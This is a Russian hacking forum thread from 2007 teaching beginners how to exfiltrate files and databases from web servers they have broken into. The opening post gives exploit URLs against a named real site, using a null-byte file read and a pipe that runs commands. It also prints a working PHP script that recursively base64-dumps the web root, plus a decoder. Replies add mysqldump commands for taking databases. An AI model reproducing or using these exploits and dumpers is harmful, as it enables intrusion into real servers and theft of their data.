PDA

Просмотр полной версии : Дампим. Введение.


Talisman
06.03.2007, 21:00
Ну вот, взлом завершился удачно, точнее он еще завершился? Рут есть, а как думаешь инфу дампить будешь? Конечно, если ты это умеешь, то статья не для тебя, я в ней хочу рассказать о некоторых идеях и методах дампа - воистину святого слова!
Эта статья нацелена на начинающих дамперов - будем рассматривать дамп с веб-серверов, в принципе, от реального дампа сервера он почти ничем не отличается.
Большинство начинающих взломщиков опускают руки, когда на шелле видят почти всё большинство вкусных функций продизейбленными)
Итак, какие хорошие функции PHP нам могут вырубить?
во первых - системные вызовы, чтобы мы не могли юзать архиваторы ОС сервера.
Сейчас я хочу рассказать о двух принципиально различных видах дампа:
когда дампер заливаем на сервер
когда дампим через какую-нибудь багу (например, текстовый инклуд)В первом случае мы добиваемся залития нашего кода в исполняемую диру на сервер - например какой-нибудь шелл, поддерживающий дамп. Самый лучший метод, хотя более палевный.
Плюсы:

более быстрый метод

с легкостью дампятся файлы любого типаМинусы:

Возможный непреодолимый таймлимит на выполнение
палится наличие файла (если не инклудим дампер в память)Подводные камни:

на время отдачи (можно решить скоростью скачки)
ну и более жестоко - размер отдаваемого содержимого, приходится разбивать на "партии"Во втором случае (например - текстовый инклуд) нам нужно юзать дампер-клиент, который сам будет составлять запросы, обращаться к баге, и выдирать содержимое файла. Более медленный, менее палевный (смотря как посылать запросы - постом или гетом, не стоит ли идс на нагрузку к скриптам (например, быстро палится через веб-статистику))
Плюсы:

Пофиг на таймлимиты
более частая ошибка (хотя спорно)
связанных с БД таких ошибок больше.
более удобный интерфейс админки - можно подгружать только то, что нужноМинусы:

Палится в логах (елси юзать гет - куча записей обращений) ну и в менеджерах статистики - пиковая нагрузка, даже если юзаем POST
сложнее в реализации
не всегда удобно(даже можно) дампить все типы файлов
иногда возникают значительные проблемы с перекодировкойПодводные камни:

жестокие админы, непрерывно зырящие логи
"антидос" системы, тогда заметно снижается скорость... (Теперь подробнее о методах реализации первого метода: из его описания должно быть все понятно - или возможность залить исполняемый код на сервер, или его проинклудить/исполнить.

Второй способ более красивый и частонаблюдаемый:
инъекция кода запроса к бд
ну и тупые инклудинги файлов (будь то новости и т.д.)Но из-за некоторых сложностей в реализации большинство начинающих крякеров идут лесом, максимум что делают - пытаются надыбать конфиги форума, сайта... очень часто это помогает для дальнейшего проникновения и перехода к первому случаю.
Теперь примерчики ко 2му случаю:
типичная ошибка - открытие файла(будь то результаты голосования), как например тут:
http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00 (http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00)
вместо: http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005 (http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005)
тут использована типичная ошибка нулевого байта :)
ЗЫ тут специально опускаем фичу с вертикальной палкой: http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=|ls%00 - просто выполняем команду :))) т.е. можем перейти к 1 случаю.
аналогичные ошибки допускаются и в пхп-сценариях.
ну и классика - майсекл, статей полно, поэтому просто приведу ссылки: http://forum.antichat.ru/thread28461-%E4%E0%EC%EF%E5%F0.html - очень вкусная вещь от Elekt (http://forum.antichat.ru/member.php?u=20674)

Вкусности:
http://forum.antichat.ru/thread32196-%E4%E0%EC%EF%E5%F0.html - отличный дампер майсекл
ну и чтоб статья не была голословной по поводу самописок в первом случае - вот код дампера:
ЗЫ работает даже почти при всех продизейбленных функциях, что есть гуд.
<?php
function scan_dir($dirname)
{
echo base64_encode($dirname.';').';';
GLOBAL $text, $retext;
$dir = opendir($dirname);
while (($file = readdir($dir)) !== false)
{
if($file != "." && $file != "..")
{
if(is_file($dirname."/".$file))
{
$f = fopen($dirname.'/'.$file,"r");
$out=fread($f,filesize($dirname."/".$file));
fclose ($f);
echo base64_encode($dirname.'/'.$file.';'.base64_encode($out)).';';
}
if(is_dir($dirname."/".$file))
{
scan_dir($dirname."/".$file);
}
}
}
closedir($dir);
}
scan_dir('..');
?>а вот декодер полученного дампа:
<?
set_time_limit(0);
$datafile=file('data.txt');
$data='';
foreach($datafile as $dataline)
{
$data.=$dataline;
}
$files=explode(';',$data);
foreach($files as $bf)
{
list($path,$out)=explode(";", base64_decode($bf));
$q=strpos(base64_decode($bf),';');
$path=substr(base64_decode($bf),0,$q);
$out=substr(base64_decode($bf),$q+1);
$path=substr($path,3);
echo $path;
if($out=='')
{
mkdir('mai/2/'.$path);
}else{
echo 'mai/2/'.$path;
$f = fopen('mai/2/'.$path,"a");
fputs ($f,$out);
fclose ($f);
}

}
?>идея элементарная - рекурсивно проходимся по директориям веб-сервера, при заходе в директорию добавляем в дамп ее имя закодированной бейс64 (для надежности :) ) ну и если в директории есть файлы, выводим имя файла; дамп файла тоже в бейс 64.
Ну а декодер проделывает все в обратном порядке)

Отмазки: за то, как вы это используете я не отвечаю и отвечать не буду. Код предоставлен как есть :) ну и статья - повод для размышлений.

flipper
06.03.2007, 21:14
Что бы базу слить можно в консоли набрать:
mysqldump -uroot imyaBD > imyaBD.sql
Если рут есть, или если прав хватает...

Talisman
06.03.2007, 21:45
2 flipper:
да) логическая ошибка - в начале спрашиваю про рут, а потом напоминаю про дизабленные функции.
просто если уже есть рут, то дамп - не проблема как правило, главное синтаксис знать:)

guest3297
06.03.2007, 23:20
черный на темно срером...
не видно не фига отредактируй цвет шрифта...

Talisman
06.03.2007, 23:37
спс, не заметил... у меня моник отлично выделяет просто :)

guest3297
07.03.2007, 00:10
если база весит 4-5гигов то поможет только
mysqldump -uuser -ppass base.table > dump.sql

DRON-ANARCHY
07.03.2007, 21:59
если база весит 4-5гигов а у вас мопед, то уже ниче не поможет)

guest3297
07.03.2007, 22:03
поможет win/nix дедик.

+toxa+
07.03.2007, 22:04
2 DRON-ANARCHY
поможет волшебная связка tar+gzip +)

guest3297
07.03.2007, 22:09
у каждого свои способы....

k1b0rg
07.03.2007, 22:20
если база весит 4-5гигов то поможет только

Скриптом влёт можно выкачать......тот же dumper к примеру, легко возьмет.

поможет волшебная связка tar+gzip +)

и будет размер 985 мегов)

guest3297
07.03.2007, 22:28
Ну не знаю каким вы скриптом выкачиваете давайте я даю бд правдо там sybase...
Но все же...
На мой взгляд один лучших скриптов (phpmyadmin) допустим с 10 лямами записей...
приходиться выкачивать по 500к может быть я что то не так делаю если вы мне подскажите буду только рад.

Желающие подтвердить слова в icq.